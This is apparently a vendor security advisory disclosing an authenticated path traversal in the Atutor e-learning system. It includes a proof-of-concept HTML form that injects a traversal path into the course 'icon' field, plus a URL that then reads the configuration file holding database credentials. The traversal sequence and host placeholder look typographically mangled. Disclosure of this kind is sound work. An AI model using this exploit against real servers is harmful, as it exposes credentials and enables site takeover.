Arbitrary File Content Disclosure in Atutor

High-Tech Bridge Security Research Lab discovered path traversal vulnerability in a popular web-based e-learning system Atutor. A remote attacker can view contents of arbitrary local files on the target system with privileges of the web server.

The vulnerability may allow an attacker gain access to potentially sensitive web application and system information, and use received data to gain complete control over vulnerable web application.

Successful exploitation of vulnerability requires that user is registered and authenticated, but registration is open by default.

The vulnerability exists due to absence of filtration of user-supplied data passed via “icon” HTTP POST to “/mods/_core/courses/users/create_course.php” script, when saving information to database. A remote authenticated attacker can use directory traversal sequences (e.g. “…/”) in user’s icon parameter to overwrite its value and then include arbitrary file on the system and view its contents.

The following PoC code can be used to replace path to user’s icon in database. In this example, we will inject path to the system configuration “/include/config.inc.php” file:

<form action=“http://[host]/mods/_core/courses/users/create_course.php” method=“POST” name=“f1” enctype=“multipart/form-data”>
<input type=“hidden” name=“form_course” value=“true”>
<input type=“hidden” name=“MAX_FILE_SIZE” value=“819200”>
<input type=“hidden” name=“course” value=“0”>
<input type=“hidden” name=“old_access” value=“protected”>
<input type=“hidden” name=“created_date” value=“2016-02-17 13:20:26”>
<input type=“hidden” name=“show_courses” value=“0”>
<input type=“hidden” name=“current_cat” value=“0”>
<input type=“hidden” name=“title” value=“vulnerable”>
<input type=“hidden” name=“pri_lang” value=“en”>
<input type=“hidden” name=“description” value=“”>
<input type=“hidden” name=“category_parent” value=“0”>
<input type=“hidden” name=“content_packaging” value=“top”>
<input type=“hidden” name=“rss” value=“0”>
<input type=“hidden” name=“access” value=“protected”>
<input type=“hidden” name=“release_date” value=“0”>
<input type=“hidden” name=“day_release” value=“0”>
<input type=“hidden” name=“month_release” value=“0”>
<input type=“hidden” name=“year_release” value=“0”>
<input type=“hidden” name=“hour_release” value=“0”>
<input type=“hidden” name=“min_release” value=“0”>
<input type=“hidden” name=“end_date” value=“0”>
<input type=“hidden” name=“day_end” value=“0”>
<input type=“hidden” name=“month_end” value=“0”>
<input type=“hidden” name=“year_end” value=“2016”>
<input type=“hidden” name=“hour_end” value=“0”>
<input type=“hidden” name=“min_end” value=“0”>
<input type=“hidden” name=“banner” value=“”>
<input type=“hidden” name=“initial_content” value=“1”>
<input type=“hidden” name=“quota” value=“-2”>
<input type=“hidden” name=“filesize” value=“-3”>
<input type=“hidden” name=“tracking” value=“”>
<input type=“hidden” name=“copyright” value=“”>
<input type=“hidden” name=“boolForce” value=“”>
<input type=“hidden” name=“MAX_FILE_SIZE” value=“”>
<input type=“hidden” name=“customicon” value=“”>
<input type=“hidden” name=“custOptCount” value=“0”>
<input type=“hidden” name=“courseId” value=“[COURSE_ID]”>
<input type=“hidden” name=“icon” value=“…/…/…/include/config.inc.php”>
<input type=“button” name=“submit” value=“Save”>
</form>

The injected parameter is used in “readfile()” function in the “/get_course_icon.php” script. To view contents of the “/include/config.inc.php” file and see database credentials, the attacker needs to open the following URL:

http://[code]/get_course_icon.php?id=[COURSE_ID]